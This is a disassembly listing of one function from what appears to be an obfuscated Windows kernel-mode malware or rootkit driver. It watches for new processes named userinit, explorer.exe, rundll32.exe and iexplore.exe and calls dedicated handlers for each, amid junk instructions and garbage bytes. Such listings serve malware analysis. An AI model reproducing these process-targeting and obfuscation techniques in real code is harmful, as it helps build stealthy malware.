.text:000108B8 ; double __stdcall sub_108B8(int ParentId, int pid, char bCreate)
.text:000108B8 sub_108B8 proc near ; DATA XREF: sub_1132A+2o
.text:000108B8
.text:000108B8 var_10 = byte ptr -10h
.text:000108B8 var_F = byte ptr -0Fh
.text:000108B8 ParentId = dword ptr 8
.text:000108B8 pid = dword ptr 0Ch
.text:000108B8 bCreate = dword ptr 10h
.text:000108B8
.text:000108B8 0 000 push ebp
.text:000108B9 0 004 mov ebp, esp
.text:000108BB 0 004 sub esp, 10h
.text:000108BE 0 014 push ebx
.text:000108BF 0 018 push esi
.text:000108C0 0 01C push edi
.text:000108C1 0 020 xor ebx, ebx
.text:000108C3 0 020 xor eax, eax
.text:000108C5 0 020 lea edi, [ebp+var_F]
.text:000108C8 0 020 mov [ebp+var_10], bl
.text:000108CB 0 020
cmp
byte ptr [ebp+bCreate], bl
.text:000108CE 0 020 stosd
.text:000108CF 0 020 stosd
.text:000108D0 0 020 stosd
.text:000108D1 0 020 stosw
.text:000108D3 0 020 stosb
.text:000108D4 0 020 jz loc_10A7D
.text:000108DA 0 020
cmp
[ebp+pid], 14h
.text:000108DE 0 020 jb loc_10A7D
.text:000108E4 0 020
cmp
g_ImageFileNameOffset, ebx
.text:000108EA 0 020 jz loc_10A7D
.text:000108F0 0 020 lea eax, [ebp+var_10]
.text:000108F3 0 020 push eax ; char *
.text:000108F4 0 024 push [ebp+pid] ; int
.text:000108F7 0 028 call SearchProccessName
.text:000108FC 0 020
cmp
eax, ebx
.text:000108FE 0 020 mov [ebp+bCreate], eax
.text:00010901 0 020 jz loc_10A7D
.text:00010907 0 020 push edx
.text:00010908 0 024 push edi
.text:00010909 0 028 or edx, edx
.text:0001090B 0 028 mov dl, ch
.text:0001090D 0 028
cmp
edx, ecx
.text:0001090F 0 028 and edx, eax
.text:00010911 0 028 pop edi
.text:00010912 0 024 pop edx
.text:00010913 0 020 mov esi, ds:_stricmp
.text:00010919 0 020 lea eax, [ebp+var_10]
.text:0001091C 0 020 push offset g_userinit ;
"9UT瞋#Q"
.text:00010921 0 024 push eax ; char *
.text:00010922 0 028 call esi ; _stricmp
.text:00010924 0 028 pop ecx
.text:00010925 0 024
test
eax, eax
.text:00010927 0 024 pop ecx
.text:00010928 0 020 jnz short loc_10947
.text:0001092A 0 020 push eax
.text:0001092B 0 024 push bx
.text:0001092D 0 026
test
ax, 826h
.text:00010931 0 026 sub bl, 12h
.text:00010934 0 026
test
bx, 3C13h
.text:00010939 0 026
test
ah, 56h
.text:0001093C 0 026
cmp
bx, dx
.text:0001093F 0 026 pop bx
.text:00010941 0 024 pop eax
.text:00010942 0 020 call ProcessUserInit
.text:00010947
.text:00010947 loc_10947: ; CODE XREF: sub_108B8+70j
.text:00010947 0 020 push ax
.text:00010949 0 022 push cx
.text:0001094B 0 024 push edi
.text:0001094C 0 028 and al, dl
.text:0001094E 0 028 or ch, 3Ah
.text:00010951 0 028 dec edi
.text:00010952 0 028 inc edi
.text:00010953 0 028
cmp
ah, bl
.text:00010955 0 028 xor ax, ax
.text:00010958 0 028
cmp
cl, dl
.text:0001095A 0 028 dec cl
.text:0001095C 0 028 pop edi
.text:0001095D 0 024 pop cx
.text:0001095F 0 022 pop ax
.text:00010961 0 020 lea eax, [ebp+var_10]
.text:00010964 0 020 push offset g_explorer_exe ; ")^A琘?]\n?^T?
.text:00010969 0 024 push eax ; char *
.text:0001096A 0 028 call esi ; _stricmp
.text:0001096C 0 028 pop ecx
.text:0001096D 0 024
test
eax, eax
.text:0001096F 0 024 pop ecx
.text:00010970 0 020 jnz loc_10A24
.text:00010976 0 020
cmp
g_bFirstExplorer, al
.text:0001097C 0 020 jnz loc_10A24
.text:00010982 0 020 push ebx
.text:00010983 0 024 add bx, ax
.text:00010986 0 024 mov bx, 6602h
.text:0001098A
.text:0001098A loc_1098A:
.text:0001098A 0 024 and bh, dl
.text:0001098C 0 024 pop ebx
.text:0001098D 0 020 push [ebp+bCreate]
.text:00010990 0 024 call ProcessExplorer1
.text:00010995 0 020
test
eax, eax
.text:00010997 0 020 jl loc_10A24
.text:0001099D 0 020 jbe loc_109B4
.text:000109A3 0 020 push eax
.text:000109A4 0 024 pop eax
.text:000109A5 0 020 ja loc_109B4
.text:000109AB 0 020 pop esi
.text:000109AC 0 01C fisubr dword ptr [ecx+7A96ED64h]
.text:000109B2 db 26h
.text:000109B2 0 01C dec esp
.text:000109B4
.text:000109B4 loc_109B4: ; CODE XREF: sub_108B8+E5j
.text:000109B4 ; sub_108B8+EDj
.text:000109B4 0 01C mov g_bFirstExplorer, 1
.text:000109BB 0 01C jbe loc_109DD
.text:000109C1 0 01C push si
.text:000109C3 0 01E mov si, 5C11h
.text:000109C7 0 01E pop si
.text:000109C9 0 01C ja loc_109DD
.text:000109C9 ; ---------------------------------------------------------------------------
.text:000109CF 0 01C unk_109CF db 70h ; p
.text:000109D0 0 01C db 0BAh ; ?
.text:000109D1 0 01C db 0Eh
.text:000109D2 0 01C dw 8D67h
.text:000109D4 0 01C
dd
3557B8FDh, 0CBA2EED7h
.text:000109DC 0 01C db 0F3h
.text:000109DD ; ---------------------------------------------------------------------------
.text:000109DD
.text:000109DD loc_109DD: ; CODE XREF: sub_108B8+103j
.text:000109DD ; sub_108B8+111j
.text:000109DD 0 01C mov b_FinishRegClsid, 1
.text:000109E4 0 01C jp short loc_109FB
.text:000109E6 0 01C push edi
.text:000109E7 0 020 mov di, 0B224h
.text:000109EB 0 020 pop edi
.text:000109EC 0 01C jnp short loc_109FB
.text:000109EE 0 01C xchg eax, edx
.text:000109EF 0 01C clc
.text:000109F0 0 01C mov esi, 34A96CF4h
.text:000109F5 0 01C inc eax
.text:000109F5 ; ---------------------------------------------------------------------------
.text:000109F6 0 01C unk_109F6 db 0C5h ; ?
.text:000109F7 0 01C db 2Dh ; -
.text:000109F8 0 01C db 3Ah ; :
.text:000109F9 0 01C db 0B4h ; ?
.text:000109FA 0 01C db 17h
.text:000109FB ; ---------------------------------------------------------------------------
.text:000109FB
.text:000109FB loc_109FB: ; CODE XREF: sub_108B8+12Cj
.text:000109FB ; sub_108B8+134j
.text:000109FB 0 01C call ProcessExploerer2
.text:00010A00 0 01C pusha
.text:00010A01 0 03C
test
bx, 0A43h
.text:00010A06 0 03C
cmp
ch, 6Eh
.text:00010A09 0 03C sub ch, bl
.text:00010A0B 0 03C
cmp
dx, 7A98h
.text:00010A10 0 03C sub ecx, edx
.text:00010A12 0 03C popa
.text:00010A13 0 01C push dword_19178
.text:00010A19 0 020 call ProcessExploerer3
.text:00010A1E 0 01C mov esi, ds:_stricmp
.text:00010A24
.text:00010A24 loc_10A24: ; CODE XREF: sub_108B8+B8j
.text:00010A24 ; sub_108B8+C4j ...
.text:00010A24 0 01C push eax
.text:00010A25 0 020 xor ax, bx
.text:00010A28 0 020 pop eax
.text:00010A29 0 01C lea eax, [ebp+var_10]
.text:00010A2C 0 01C push offset g_aRundll32_exe ; char *
.text:00010A31 0 020 push eax ; char *
.text:00010A32 0 024 call esi ; _stricmp
.text:00010A34 0 024 pop ecx
.text:00010A35 0 020
test
eax, eax
.text:00010A37 0 020 pop ecx
.text:00010A38 0 01C jnz short loc_10A4A
.text:00010A3A 0 01C
cmp
g_bFirstExplorer, al
.text:00010A40 0 01C jz short loc_10A4A
.text:00010A42 0 01C push [ebp+ParentId]
.text:00010A45 0 020 call ProcessRundll32
.text:00010A4A
.text:00010A4A loc_10A4A: ; CODE XREF: sub_108B8+180j
.text:00010A4A ; sub_108B8+188j
.text:00010A4A 0 01C jo short loc_10A62
.text:00010A4C 0 01C push esi
.text:00010A4D 0 020 mov esi, 387EF7E0h
.text:00010A52 0 020 pop esi
.text:00010A53 0 01C jno short loc_10A62
.text:00010A53 ; ---------------------------------------------------------------------------
.text:00010A55 0 01C byte_10A55 db 0C6h, 71h, 7Dh
.text:00010A58 0 01C
dd
21D7221Dh, 0C0FF8AF7h
.text:00010A60 0 01C db 0Dh, 0A7h
.text:00010A62 ; ---------------------------------------------------------------------------
.text:00010A62
.text:00010A62 loc_10A62: ; CODE XREF: sub_108B8:loc_10A4Aj
.text:00010A62 ; sub_108B8+19Bj
.text:00010A62 0 01C lea eax, [ebp+var_10]
.text:00010A65 0 01C push offset g_aIEXPLORE_EXE ; char *
.text:00010A6A 0 020 push eax ; char *
.text:00010A6B 0 024 call esi ; _stricmp
.text:00010A6D 0 024 pop ecx
.text:00010A6E 0 020
test
eax, eax
.text:00010A70 0 020 pop ecx
.text:00010A71 0 01C jnz short loc_10A7D
.text:00010A73 0 01C push offset dword_19170
.text:00010A78 0 020 call ProcessIexplorer
.text:00010A7D
.text:00010A7D loc_10A7D: ; CODE XREF: sub_108B8+1Cj
.text:00010A7D ; sub_108B8+26j ...
.text:00010A7D 0 01C pop edi
.text:00010A7E 0 018 pop esi
.text:00010A7F 0 014 pop ebx
.text:00010A80 0 010 leave
.text:00010A81 0 000 retn 0Ch
.text:00010A81 sub_108B8 endp ; sp-analysis failed